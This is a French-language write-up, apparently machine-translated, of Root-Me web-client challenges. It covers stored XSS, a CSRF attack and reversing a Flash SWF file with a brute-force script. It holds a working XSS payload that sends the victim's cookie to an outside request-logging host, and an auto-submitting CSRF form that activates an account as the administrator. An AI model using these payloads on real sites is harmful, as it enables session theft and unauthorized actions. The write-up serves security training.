Dans cet article, nous détournons les cookies via Stored XSS, traitons une attaque CSRF et inversons un fichier Flash SWF. Liens vers les articles précédents:
Partie 1:
Web - authentification javascript, obscurcissement et code natif. Résolution de problèmes avec r0ot-mi Web - Client.Information organisationnelleSurtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
- PWN;
- cryptographie (Crypto);
- technologies de réseau (réseau);
- reverse (Reverse Engineering);
- stéganographie (Stegano);
- recherche et exploitation des vulnérabilités WEB.
En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.
Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une
chaîne dans Telegram et un
groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations
personnelles et répondrai à tout le monde .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
XSS stocké

Lors de l'attribution, nous devons saisir les cookies d'administration. Nous ouvrons le site. Nous voyons un formulaire dans lequel vous devez saisir un titre et un message. Entrons pour voir comment notre entrée est affichée sur le formulaire.


Alors Essayons de vérifier XSS. En tant que charge utile, j'utiliserai l'alerte habituelle.
<script>alert(1);</script>
Comme vous pouvez le voir, la fenêtre d'alerte nous a été affichée, c'est-à-dire que le code javascript intégré a fonctionné.

Comme ceux-ci sont stockés XSS, il est possible de détourner les cookies d'autres utilisateurs. Si vous ne disposez pas de votre propre serveur sur le réseau mondial, vous pouvez utiliser
ce site .

Ici, on nous donne une adresse où nous pouvons observer toutes les demandes à cette adresse. Présentez maintenant la prochaine charge utile.
<script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script>
Lorsque l'utilisateur ouvre une page avec ce code, l'agent essaie de télécharger l'image et d'exécuter une demande à cette adresse. Il utilisera son cookie comme paramètre. Nous examinons ensuite le paramètre avec lequel la demande est arrivée - ce sera le cookie.

Pourquoi le détournement de cookies est-il dangereux? En insérant des cookies pour ce site dans notre navigateur, nous entrerons sur le site au nom de cet utilisateur, en sautant le processus d'authentification.
CSRF

Lors de la mission, nous devons activer votre compte. Allons voir le site. Nous sommes accueillis par un formulaire d'autorisation.

Nous sélectionnons l'inscription et nous nous inscrivons sur le site.

On nous dit que nous aurons un accès complet lorsque l'administrateur activera notre compte.


Lorsque vous essayez de cocher la case vous-même, nous recevons un message indiquant que nous ne sommes pas un administrateur.

Mais nous pouvons contacter l'administrateur, c'est-à-dire qu'il ouvrira la page. La signification de CSRF est que l'utilisateur effectue des actions sans le savoir. Autrement dit, nous pouvons l'obliger à soumettre un formulaire déjà rempli. Vérifions s'il y a un jeton qui est défini et vérifié par le serveur - comme protection contre de telles attaques. C'est différent à chaque fois.

Il n'y a pas de jeton. Cette forme de charge utile sortira de cette forme.
<form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script>
Voici un formulaire déjà rempli de nos données, avec une coche activée. Le code Javascript l'enverra après le chargement de la page, respectivement, au nom de l'administrateur qui l'a consultée.


Après un certain temps, nous actualisons la page. Notre compte a été activé.

Flash

Nous devons trouver un code valide. Ouvrons la page. Nous sommes accueillis par une sorte de mécanisme de code.

Jetons un coup d'œil au code.

Nous voyons que le code converti est vérifié sur JS, que nous introduisons. Reste à découvrir l'algorithme de conversion. Le code contient également un lien vers le fichier swf. Téléchargeons-le.

Nous voyons qu'il s'agit d'un Macromedia Flash compressé. Pour inverser de tels fichiers, je préfère utiliser JPEXS.

On retrouve le script principal.

Prenons-le à part.

Il charge les données d'un autre script imbriqué, les mord avec la clé et l'envoie pour exécution. Faisons-le. Nous trouvons d'abord ces données.

Et puis exportez vers un fichier séparé.

Maintenant, procurez-les avec la clé.
f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close() key = 'rootmeifyoucan' swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close()
Nous obtenons un nouveau fichier. Ouvrez-le dans JPEXS.

Nous trouvons le script principal et commençons à analyser.

Puisque vous devez encore écrire du code. J'en publierai des parties.
but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
Ici, nous voyons le code de chaque bouton et son emplacement dans les coordonnées. Cela nous aidera à comprendre quel bouton a quel code.

Nous apprenons de cela que la longueur du code doit être égale ou supérieure à 12. Et que la valeur finale est le hachage MD5 de la chaîne inversée.
from hashlib import * import itertools for var in itertools.product('1234', repeat=12): ... ... if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest()

Au lieu de décrire, je vais simplement donner ce code en python'e.
code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1]
Ainsi, nous devons trier 4 ^ 12 = 16777216 options. Une bagatelle.
from hashlib import * import itertools but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break

Vous avez un mot de passe et un code.
De plus en plus compliqué ... Vous pouvez nous rejoindre sur
Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pouvons toujours nous entraider pour tout problème informatique et de sécurité de l'information.